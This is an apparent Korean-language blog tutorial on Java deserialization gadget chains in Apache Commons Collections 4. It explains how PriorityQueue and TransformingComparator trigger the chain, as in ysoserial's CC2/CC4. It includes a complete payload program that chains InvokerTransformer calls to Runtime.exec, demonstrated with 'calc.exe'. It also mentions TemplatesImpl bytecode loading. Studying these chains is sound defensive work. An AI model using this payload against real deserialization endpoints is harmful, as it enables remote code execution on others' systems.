Apache Commons Collections 4의 이해와 활용

Apache Commons Collections 4에 대한 이해

Apache Commons Collections 4 배경:

commons-collections (3.x 버전)는 API 설계 및 구현에서 몇 가지 문제점(예: 인터페이스 설계의 모호성, 효율적이지 못한 구현 등)이 발견되었습니다. 이러한 문제를 해결하려면 많은 비호환 변경이 필요했습니다. 공식 팀은 이러한 개선 사항을 적용하면 기존 3.x 버전과 바이너리 또는 소스 코드 호환성을 유지할 수 없다는 것을 인지하였습니다. 따라서 이들 변경사항을 포함하는 새로운 버전을 별도의 프로젝트로 출시하기로 결정하였고, 이는 기존 프로젝트의 연속성이 아닌 독립적인 브랜치로 제공됩니다.

즉, commons-collections4는 commons-collections3의 업데이트가 아니라 완전히 새로운 프로젝트입니다.

따라서 두 가지 주요 브랜치가 존재합니다:

commons-collections:commons-collections
org.apache.commons:commons-collections4

그렇다면 3.2.1 버전에서 발생했던 역직렬화 취약점이 4.0 버전에서도 존재할까요?

사실상, commons-collections4와 commons-collections3의 핵심 내용은 유사하지만 사용 방법에 차이가 있습니다. 예를 들어 CC6 공격 체인이 commons-collections4에서도 동작하는데, LazyMap.decorate 메소드가 더 이상 지원되지 않지만 다른 방식으로 대체 가능합니다.

Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, cmp);
queue.add(1); 
queue.add(2);

다음은 Ysoserial 도구에서 사용되는 CC2와 CC4의 PriorityQueue 이용 체인에 대한 설명입니다:

PriorityQueue는 우선순위 큐로서, 기본적으로 최소 힙(min-heap) 구조를 사용하여 요소를 관리합니다. 주요 특징은 다음과 같습니다:

  • 우선순위에 따라 요소가 제거됨
  • FIFO 순서가 아닌 우선순위 순서로 요소 제거
  • 이진 힙 구조를 배열로 저장

다음은 PriorityQueue 체인의 구체적인 분석입니다:

public int compare(Object obj1, Object obj2) {
    Object value1 = transformer.transform(obj1);
    Object value2 = transformer.transform(obj2);
    return decorated.compare(value1, value2);
}

PriorityQueue의 readObject 메소드는 heapify를 호출하고, 이것이 siftDownUsingComparator를 거쳐 comparator.compare를 호출합니다. 이를 통해 우리는 TransformingComparator를 사용하여 악성 비교를 수행할 수 있습니다.

PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(2);

Payload 생성 예제:

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;

public class CommonCollectionsExample {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new ConstantTransformer(1)
        };

        Comparator cmp = new TransformingComparator(new ChainedTransformer(transformers));
        PriorityQueue queue = new PriorityQueue(2, cmp);
        queue.add(1);
        queue.add(2);

        byte[] serializedData = SerializationUtils.serialize(queue);
        SerializationUtils.deserialize(serializedData);
    }
}

또한, 배열 없이 Payload를 생성하거나 InvokerTransformer를 우회하는 방법도 소개되었습니다. 예를 들어, TemplatesImpl 객체를 사용하여 바이트 코드를 로드하고 실행하는 방법이 있습니다.

태그: java ApacheCommonsCollections deserialization PriorityQueue TransformingComparator

7월 2일 19:51에 게시됨